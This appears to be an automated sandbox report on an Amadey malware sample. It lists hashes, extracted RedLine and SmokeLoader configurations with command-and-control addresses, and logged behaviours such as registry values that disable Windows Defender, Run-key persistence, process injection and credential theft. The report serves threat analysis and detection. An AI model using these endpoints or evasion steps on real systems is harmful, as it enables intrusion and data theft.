amadey | 8400116c6432439420d912546ed0dd82a48c2a82388415b3ad2f9e58864421c4

Analysis

max time kernel
88s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20231025-en
resource tags

arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system
submitted
04-11-2023 09:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe
Size

1.0MB
MD5

2771b6bfcb2a8179087d987e3b742be0
SHA1

6b55bbcea9a26e78bf06163bf25f15b94068f045
SHA256

8400116c6432439420d912546ed0dd82a48c2a82388415b3ad2f9e58864421c4
SHA512

6315774d6da00ecb3f34b3e503913f421e797388c52d4554384dfc73f3d25dc3479f621a595fb6f5592876f4f560fa0be5fceac2badd014e106d6ee6ef611444
SSDEEP

24576:kygZX906dIEkZuS7NHRdY0DJmvYIjOBQ2KPAh3R+4:zgZreEE9bY0DJNI5Ah3R+

Malware Config

Extracted

Family

smokeloader

Version

2022

http://77.91.68.29/fks/

rc4.i32

Extracted

Family

redline

Botnet

grome

77.91.124.86:19084

Extracted

Family

redline

Botnet

plost

77.91.124.86:19084

Extracted

Family

redline

Botnet

kedru

77.91.124.86:19084

Extracted

Family

redline

Botnet

pixelnew2.0

194.49.94.11:80

Extracted

Family

smokeloader

Botnet

up3

Extracted

Family

smokeloader

Version

2020

http://host-file-host6.com/

http://host-host-file8.com/

rc4.i32

Extracted

Family

redline

Botnet

LiveTraffic

195.10.205.17:8122

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

DcRat 4 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

Processes:

schtasks.exeNEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exeschtasks.exeschtasks.exe

pid	process
1980	schtasks.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe
7104	schtasks.exe
6176	schtasks.exe

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 9 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3516-525-0x0000000002DF0000-0x00000000036DB000-memory.dmp	family_glupteba
behavioral1/memory/3516-578-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba
behavioral1/memory/3516-804-0x0000000002DF0000-0x00000000036DB000-memory.dmp	family_glupteba
behavioral1/memory/3516-1195-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba
behavioral1/memory/6444-1237-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba
behavioral1/memory/3140-1270-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba
behavioral1/memory/3140-1424-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba
behavioral1/memory/3140-1443-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba
behavioral1/memory/3140-1448-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

AppLaunch.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	AppLaunch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	AppLaunch.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 12 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2832-42-0x0000000000400000-0x000000000043E000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\FEA6.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\FEA6.exe	family_redline
behavioral1/memory/4808-102-0x0000000000790000-0x00000000007CC000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2mM361yP.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2mM361yP.exe	family_redline
behavioral1/memory/4928-121-0x0000000000640000-0x000000000067C000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\2CDD.exe	family_redline
behavioral1/memory/6672-335-0x0000000000730000-0x000000000074E000-memory.dmp	family_redline
behavioral1/memory/6488-363-0x0000000000620000-0x000000000067A000-memory.dmp	family_redline
behavioral1/memory/6488-432-0x0000000000400000-0x0000000000480000-memory.dmp	family_redline
behavioral1/memory/2896-1096-0x0000000001000000-0x000000000103C000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\2CDD.exe	family_sectoprat
behavioral1/memory/6672-335-0x0000000000730000-0x000000000074E000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

latestX.exe

description	pid	process	target process
PID 6824 created 3148	6824	latestX.exe	Explorer.EXE
PID 6824 created 3148	6824	latestX.exe	Explorer.EXE
PID 6824 created 3148	6824	latestX.exe	Explorer.EXE
PID 6824 created 3148	6824	latestX.exe	Explorer.EXE
PID 6824 created 3148	6824	latestX.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/3124-1422-0x00007FF6C3850000-0x00007FF6C3DF1000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

Processes:

rundll32.exerundll32.exe

flow pid process

206 5932 rundll32.exe
230 6636 rundll32.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

latestX.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts latestX.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

6976 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
206	5932	rundll32.exe
230	6636	rundll32.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe

pid	process
6976	netsh.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

2ED2.exeUtsysc.exekos4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation	2ED2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation	Utsysc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-177160434-2093019976-369403398-1000\Control Panel\International\Geo\Nation	kos4.exe

Executes dropped EXE 30 IoCs

Processes:

fm5tw98.exekP0KZ11.exe1XI87wG0.exe2hP4574.exe3Hj62Vj.exe4xG338iU.exeFB09.exexr2hl2ge.exeGh7Er0Fk.exeFD6D.exeWJ7CX9Pm.exeFEA6.exeMJ6ZM6fn.exe1Vq75yQ8.exe2mM361yP.exemsedge.exe2AF8.exe2CDD.exe2ED2.exeInstallSetup5.exetoolspub2.exeUtsysc.exeBroom.exe31839b57a4f11171d6abc8bbc4451ee4.exekos4.exelatestX.exetoolspub2.exemsedge.exe31839b57a4f11171d6abc8bbc4451ee4.exeupdater.exe

pid	process
3168	fm5tw98.exe
2372	kP0KZ11.exe
3188	1XI87wG0.exe
1824	2hP4574.exe
4968	3Hj62Vj.exe
260	4xG338iU.exe
1784	FB09.exe
1336	xr2hl2ge.exe
3512	Gh7Er0Fk.exe
3444	FD6D.exe
4256	WJ7CX9Pm.exe
4808	FEA6.exe
4880	MJ6ZM6fn.exe
2548	1Vq75yQ8.exe
4928	2mM361yP.exe
6396	msedge.exe
6488	2AF8.exe
6672	2CDD.exe
6752	2ED2.exe
7020	InstallSetup5.exe
7144	toolspub2.exe
2856	Utsysc.exe
4944	Broom.exe
3516	31839b57a4f11171d6abc8bbc4451ee4.exe
5352	kos4.exe
6824	latestX.exe
6748	toolspub2.exe
5204	msedge.exe
6444	31839b57a4f11171d6abc8bbc4451ee4.exe
3124	updater.exe

Loads dropped DLL 3 IoCs

Processes:

sc.exerundll32.exerundll32.exe

pid process

6456 sc.exe
6636 rundll32.exe
5932 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
6456	sc.exe
6636	rundll32.exe
5932	rundll32.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/6620-1442-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

MJ6ZM6fn.exeNEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exefm5tw98.exekP0KZ11.exeFB09.exexr2hl2ge.exeGh7Er0Fk.exeWJ7CX9Pm.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\""	MJ6ZM6fn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NEAS.2771b6bfcb2a8179087d987e3b742be0_JC.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	fm5tw98.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	kP0KZ11.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	FB09.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	xr2hl2ge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	Gh7Er0Fk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	WJ7CX9Pm.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Detected potential entity reuse from brand microsoft.
phishing microsoft

Suspicious use of SetThreadContext 5 IoCs

Processes:

1XI87wG0.exe2hP4574.exe4xG338iU.exe1Vq75yQ8.exetoolspub2.exe

description	pid	process	target process
PID 3188 set thread context of 2588	3188	1XI87wG0.exe	AppLaunch.exe
PID 1824 set thread context of 2812	1824	2hP4574.exe	AppLaunch.exe
PID 260 set thread context of 2832	260	4xG338iU.exe	AppLaunch.exe
PID 2548 set thread context of 2460	2548	1Vq75yQ8.exe	AppLaunch.exe
PID 7144 set thread context of 6748	7144	toolspub2.exe	toolspub2.exe

Drops file in Program Files directory 1 IoCs

Processes:

latestX.exe

description ioc process

File created C:\Program Files\Google\Chrome\updater.exe latestX.exe
Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2164 sc.exe
6456 sc.exe
3168 sc.exe
5216 sc.exe
7076 sc.exe
5340 sc.exe
6844 sc.exe
6292 sc.exe
5880 sc.exe
5572 sc.exe
1212 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

5048 2812 WerFault.exe AppLaunch.exe
2524 2460 WerFault.exe AppLaunch.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe

pid	process
2164	sc.exe
6456	sc.exe
3168	sc.exe
5216	sc.exe
7076	sc.exe
5340	sc.exe
6844	sc.exe
6292	sc.exe
5880	sc.exe
5572	sc.exe
1212	sc.exe

pid	pid_target	process	target process
5048	2812	WerFault.exe	AppLaunch.exe
2524	2460	WerFault.exe	AppLaunch.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

3Hj62Vj.exetoolspub2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3Hj62Vj.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3Hj62Vj.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3Hj62Vj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

7104 schtasks.exe
6176 schtasks.exe
1980 schtasks.exe

pid	process
7104	schtasks.exe
6176	schtasks.exe
1980	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
